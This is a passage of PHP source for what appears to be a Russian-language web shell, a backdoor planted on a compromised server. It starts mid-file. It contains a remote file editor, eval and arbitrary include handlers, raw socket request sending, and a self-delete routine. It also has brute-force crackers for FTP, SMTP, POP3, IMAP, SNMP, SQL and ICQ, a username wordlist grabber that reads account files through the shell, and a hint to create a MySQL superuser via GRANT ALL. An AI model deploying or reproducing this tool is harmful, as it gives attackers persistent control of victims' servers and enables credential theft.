";
if ($connection&&!isset($db)) {
$anon = @mysql_query("SELECT Host,User FROM mysql.user WHERE User=''", $connection);
if (mysql_num_rows($anon)>0) { print "
Внимание!
Анонимным пользователям разрешено подключение к серверу MySQL
GRANT ALL PRIVILEGES ON *.* TO xXx@localhost IDENTIFIED BY \'some_pass\' WITH GRANT OPTION добавить нового супер-юзера mysql xXx с паролем some_pass
';
}
print "
"; }
function editor($file){
global $errorbox,$et,$hcwd;
if (is_file($file)) {
if (!is_readable($file)) { echo $errorbox." Файл не доступен для чтения".$et." "; }
if (!is_writable($file)){ echo $errorbox." Файл не доступен для записи".$et." "; }
$data = file_get_contents($file);
echo "
Ответ сервера: ";
list($host,$port)=explode(":",$_POST['host']);
if (!isset($port) or empty($port)) {
unset($port);
$port=80;
}
if (!$socket=@fsockopen($host,$port,$en,$es,"3")) {
echo "
Нет связи с сервером!
";
exit();
}
fputs($socket,stripslashes($_POST['pac']));
$get="";
while (!feof($socket)) { $get.=fgets($socket,32); }
fclose($socket);
if (isset($_POST['hsc'])) { $get=htmlspecialchars($get); }
$get=nl2br($get);
echo " \r\n
";
echo $get."\r\n";
echo "
\r\n";
echo "\r\n";
}
echo $et."";
}
function fflooder() {
global $et;
$cwd = getcwd();
echo "
\r\n";
if (!isset($_REQUEST['confirm'])) {
echo "$et";
}
if (isset($_REQUEST['confirm'])) {
unlink($_SERVER['SCRIPT_FILENAME']);
echo "";
}
}
function dicmaker(){
global $errorbox,$windows,$footer,$t,$et,$hcwd;
if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0;
if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
$min = $_REQUEST['min'];
$max = $_REQUEST['max'];
if($max<$min)die($errorbox ."Неверный ввод!$et". $footer);
$s =$w="";
$out = $_REQUEST['output'];
$r = ($_REQUEST['range']=='a' )?'a':'A';
if ($_REQUEST['range']==0) $r=0;
for($i=0;$i<$min;$i++) $s.=$r;
$dic = fopen($out,'a');
if(is_nan($r)){
while(strlen($s)<=$max){
$w = $s;
if($combo)$w="$w:$w";
fwrite($dic,$w."\n");
$s++;}
}
else{
while(strlen($w)<=$max){
$w =(string)str_repeat("0",($min - strlen($s))).$s;
if($combo)$w="$w:$w";
fwrite($dic,$w."\n");
$s++;}
}
fclose($dic);
echo "Готово!";
}
if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
$input=fopen($_REQUEST['input'],'r');
if (!$input){
if ($windows)echo $errorbox. "Невозможно считать с ".htmlspecialchars($_REQUEST['input']) ."$et ";
else{
$input=explode("\n",shell("cat $input"));
$output=fopen($_REQUEST['output'],'w');
if ($output){
foreach ($input as $in){
$user = $in;
$user = trim(fgets($in)," \n\r");
if (!strstr($user,":"))continue;
$user=substr($user,0,(strpos($user,':')));
if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
}
fclose($input);fclose($output);
echo "Готово!";
}
}
}
else{
$output=fopen($_REQUEST['output'],'w');
if ($output){
while (!feof($input)){
$user = trim(fgets($input)," \n\r");
if (!strstr($user,":"))continue;
$user=substr($user,0,(strpos($user,':')));
if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
}
fclose($input);fclose($output);
echo "Готово!";
}
else echo $errorbox." Невозможно записать в ".htmlspecialchars($_REQUEST['input']) ."$et ";
}
}elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
$res=downloadit($_REQUEST['url'],$_REQUEST['output']);
if($combo && $res){
$file=file($_REQUEST['output']);
$output=fopen($_REQUEST['output'],'w');
foreach ($file as $v)fwrite($output,"$v:$v\n");
fclose($output);
}
echo "Готово!";
}else{
$temp=whereistmp();
echo "
${t}Генератор слов:
${t}Сграбить словарь:
${t}Загрузить словарь:
";}
}
function calc(){
global $t,$et,$hcwd;
$fu = array('-','md5','sha1','crc32','hex','ip2long','long2ip','base64_encode','base64_decode','urldecode','urlencode');
if (!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){
echo "
]*?[>].*?#is","",$phpinfo);
$phpinfo=preg_replace("#]*?[>].*?#is","",$phpinfo);
echo $phpinfo;
break;
case 'edit': if (!empty($_REQUEST['open']))editor($_REQUEST['file']);
if (!empty($_REQUEST['save'])){
$filehandle= fopen($_REQUEST['file'],"w");
fwrite($filehandle,$_REQUEST['edited']);
fclose($filehandle);}
if (!empty($_REQUEST['file'])) editor($_REQUEST['file']);else editor('');
break;
case 'openit':openit($_REQUEST['name']);break;
case 'cr': cracker();break;
case 'dic':dicmaker();break;
case 'whois':whois();break;
case 'hex':hexview();break;
case 'img':showimage($_REQUEST['file']);break;
case 'inc':include ($_REQUEST['file']);break;
case 'hc':hashcracker();break;
case 'fcr':formcracker();break;
case 'snmp':snmpcracker();break;
case 'sql':sqlcracker();break;
case 'auth':authcracker();break;
case 'pop3':pop3cracker();break;
case 'imap':imapcracker();break;
case 'smtp':smtpcracker();break;
case 'ftp':ftpcracker();break;
case 'eval':phpeval();break;
case 'http':http();break;
case 'px':proxy();break;
case 'webshell':webshell();break;
case 'mailer':mailer();break;
case 'tools':tools();break;
case 'asm':safemode();break;
case 'icq':icqbrute();break;
case 'code':calc();break;
case 'chmod':cm();break;
case 'selfremove':selfremove();break;
case 'hash':code();break;
case 'fflooder':fflooder();break;
case 'calc':calc();break;
case 'sysinfo':sysinfo();break;
case 'mbr':mrabrute();break;
case 'checksum':checksum($_REQUEST['file']);break;
case 'prc':proxycheck();break;
case 'about':echo $intro;break;
default: filemanager();
}}else { filemanager(); }
echo $footer;
?>